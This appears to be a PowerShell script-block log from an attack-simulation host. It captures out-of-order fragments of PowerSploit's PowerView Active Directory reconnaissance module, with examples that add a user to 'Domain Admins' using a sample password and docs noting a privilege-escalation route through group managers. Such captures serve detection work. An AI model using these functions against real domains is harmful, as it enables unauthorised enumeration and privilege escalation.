-Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .OUTPUTS PowerView.DomainGroupMemberDeleted Custom PSObject with translated replication metadata fields. .LINK https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.DomainGroupMemberDeleted')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'Properties' = 'msds-replvaluemetadata','distinguishedname' 'Raw' = $True 'LDAPFilter' = '(objectCategory=group)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainObject @SearcherArguments | ForEach-Object { $ObjectDN = $_.Properties['distinguishedname'][0] ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue if ($TempObject) { if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { $Output = New-Object PSObject $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') $Output } } else { Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" } } } } } function Add-DomainGroupMember { <# .SYNOPSIS Adds a domain user (or group) to an existing domain group, assuming appropriate permissions to do so. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-PrincipalContext .DESCRIPTION First binds to the specified domain context using Get-PrincipalContext. The bound domain context is then used to search for the specified -GroupIdentity, which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For each entry in -Members, each member identity is similarly searched for and added to the group. .PARAMETER Identity A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to add members to. .PARAMETER Members One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' Adds harmj0y to 'Domain Admins' in the current domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred Creates the 'andy' user with the specified description and password, using the specified alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember and the alternate credentials. .LINK http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True)] [Alias('GroupName', 'GroupIdentity')] [String] $Identity, [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('MemberIdentity', 'Member', 'DistinguishedName')] [String[]] $Members, [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ContextArguments = @{ 'Identity' = $Identity } if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } $GroupContext = Get-PrincipalContext @ContextArguments if ($GroupContext) { try { $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) } catch { Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" } } } PROCESS { if ($Group) { ForEach ($Member in $Members) { if ($Member -match '.+\\.+') { $ContextArguments['Identity'] = $Member $UserContext = Get-PrincipalContext @ContextArguments if ($UserContext) { $UserIdentity = $UserContext.Identity } } else { $UserContext = $GroupContext $UserIdentity = $Member } Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) $Group.Members.Add($Member) $Group.Save() } } } } function Remove-DomainGroupMember { <# .SYNOPSIS Removes a domain user (or group) from an existing domain g88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1 4104132150x0187765Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2752 : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local MemberDomain : dev.testlab.local MemberName : user1 MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) GroupDomain : dev.testlab.local GroupName : Domain Admins GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local MemberDomain : dev.testlab.local MemberName : Administrator MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 .OUTPUTS PowerView.GroupMember Custom PSObject with translated group member property fields. .LINK http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.GroupMember')] [CmdletBinding(DefaultParameterSetName = 'None')] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [Parameter(ParameterSetName = 'ManualRecurse')] [Switch] $Recurse, [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] [Switch] $RecurseUsingMatchingRule, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Properties' = 'member,samaccountname,distinguishedname' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $ADNameArguments = @{} if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } } PROCESS { $GroupSearcher = Get-DomainSearcher @SearcherArguments if ($GroupSearcher) { if ($PSBoundParameters['RecurseUsingMatchingRule']) { $SearcherArguments['Identity'] = $Identity $SearcherArguments['Raw'] = $True $Group = Get-DomainGroup @SearcherArguments if (-not $Group) { Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" } else { $GroupFoundName = $Group.properties.item('samaccountname')[0] $GroupFoundDN = $Group.properties.item('distinguishedname')[0] if ($PSBoundParameters['Domain']) { $GroupFoundDomain = $Domain } else { # if a domain isn't passed, try to extract it from the found group distinguished name if ($GroupFoundDN) { $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} } $Null = $SearcherArguments.Remove('Raw') } else { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $GroupSearcher = Get-DomainSearcher @SearcherArguments if (-not $GroupSearcher) { Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $GroupName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$GroupName)" $SearcherArguments['Domain'] = $GroupDomain Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" $GroupSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(samAccountName=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" try { $Result = $GroupSearcher.FindOne() } catch { Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" $Members = @() } $GroupFoundName = '' $GroupFoundDN = '' if ($Result) { $Members = $Result.properties.item('member') if ($Members.count -eq 0) { # ranged searching, thanks @meatballs__ ! $Finished = $False $Bottom = 0 $Top = 0 while (-not $Finished) { $Top = $Bottom + 1499 $MemberRange="member;range=$Bottom-$Top" $Bottom += 1500 $Null = $GroupSearcher.PropertiesToLoad.Clear() $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') try { $Result = $GroupSearcher.FindOne() $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" $Members += $Result.Properties.item($RangedProperty) $GroupFoundName = $Result.properties.item('samaccountname')[0] $GroupFoundDN = $Result.properties.item('distinguishedname')[0] if ($Members.count -eq 0) { $Finished = $True } } catch [System.Management.Automation.MethodInvocationException] { $Finished = $True } } } else { $GroupFoundName = $Result.properties.item('samaccountname')[0] $GroupFoundDN = $Result.properties.item('distinguishedname')[0] $Members += $Result.Properties.item($RangedProperty) } if ($PSBoundParameters['Domain']) { $GroupFoundDomain = $Domain } else { # if a domain isn't passed, try to extract it from the found group distinguished name if ($GroupFoundDN) { $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' } } } } ForEach ($Member in $Members) { if ($Recurse -and $UseMatchingRule) { $Properties = $_.Properties } else { $ObjectSearcherArguments = $SearcherArguments.Clone() $ObjectSearcherArguments['Identity'] = $Member $ObjectSearcherArguments['Raw'] = $True $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' $Object = Get-DomainObject @ObjectSearcherArguments $Properties = $Object.Properties } if ($Properties) { $GroupMember = New-Object PSObject $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN if ($Properties.objectsid) { $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) } else { $MemberSID = $Null } try { $MemberDN = $Properties.distinguishedname[0] if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { try { if (-not $MemberSID) { $MemberSID = $Properties.cn[0] } $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments if ($MemberSimpleName) { $MemberDomain = $MemberSimpleName.Split('@')[1] } else { Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } catch { Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" $MemberDomain = $Null } } else { # extract the FQDN from the Distinguished Name $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' }88d5cf98-8bd5-4613-a590-2eb6eb668066C:\Users\Administrator\Documents\WindowsPowerShell\Modules\Powersploit\Recon\PowerView.ps1 4104132150x0187764Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2652ces.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) # set all the appropriate group parameters $Group.SamAccountName = $Context.Identity if ($PSBoundParameters['Name']) { $Group.Name = $Name } else { $Group.Name = $Context.Identity } if ($PSBoundParameters['DisplayName']) { $Group.DisplayName = $DisplayName } else { $Group.DisplayName = $Context.Identity } if ($PSBoundParameters['Description']) { $Group.Description = $Description } Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" try { $Null = $Group.Save() Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" $Group } catch { Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" } } } function Get-DomainManagedSecurityGroup { <# .SYNOPSIS Returns all security groups in the current (or target) domain that have a manager set. Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>, Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl .DESCRIPTION Authority to manipulate the group membership of AD security groups and distribution groups can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically used to delegate management authority to distribution groups, but Windows supports security groups being managed in the same way. This function searches for AD groups which have a group manager set, and determines whether that user can manipulate group membership. This could be a useful method of horizontal privilege escalation, especially if the manager can manipulate the membership of a privileged group. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv Store a list of all security groups with managers in group-managers.csv .OUTPUTS PowerView.ManagedSecurityGroup A custom PSObject describing the managed security group. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ManagedSecurityGroup')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } } PROCESS { if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain $TargetDomain = $Domain } else { $TargetDomain = $Env:USERDNSDOMAIN } # go through the list of security groups on the domain and identify those who have a manager Get-DomainGroup @SearcherArguments | ForEach-Object { $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' $SearcherArguments['Identity'] = $_.managedBy $Null = $SearcherArguments.Remove('LDAPFilter') # $SearcherArguments # retrieve the object that the managedBy DN refers to $GroupManager = Get-DomainObject @SearcherArguments # Write-Host "GroupManager: $GroupManager" $ManagedGroup = New-Object PSObject $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName # determine whether the manager is a user or a group if ($GroupManager.samaccounttype -eq 0x10000000) { $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' } elseif ($GroupManager.samaccounttype -eq 0x30000000) { $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' } $ACLArguments = @{ 'Identity' = $_.distinguishedname 'RightsFilter' = 'WriteMembers' } if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } # # TODO: correct! # # find the ACLs that relate to the ability to write to the group # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose # # $ACLArguments # # double-check that the manager # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True # } # else { # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False # } $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') $ManagedGroup } } } function Get-DomainGroupMember { <# .SYNOPSIS Return the members of a specific domain group. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for the specified group matching the criteria. Each result is then rebound and the full user or group object is returned. .PARAMETER Identity A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) specifying the group to query for. Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER Recurse Switch. If the group member is a group, recursively try to query its members as well. .PARAMETER RecurseUsingMatchingRule Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. Much faster than manual recursion, but doesn't reveal cross-domain groups, and only returns user accounts (no nested group objects themselves). .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainGroupMember "Desktop Admins" GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : Testing Group MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberObjectClass : group MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE 'Desktop Admins' | Get-DomainGroupMember -Recurse GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : Testing Group MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberObjectClass : group MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 GroupDomain : testlab.local GroupName : Testing Group GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : harmj0y MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : harmj0y MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 GroupDomain : testlab.local GroupName : Desktop Admins GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local MemberDomain : testlab.local MemberName : arobbins.a MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local MemberObjectClass : user MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 .EXAMPLE Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember .EXAMPLE 'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local 'dev\domain admins' | Get-DomainGroupMember -Verbose VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) VERBOSE: [Get-DomainSearcher] search string: 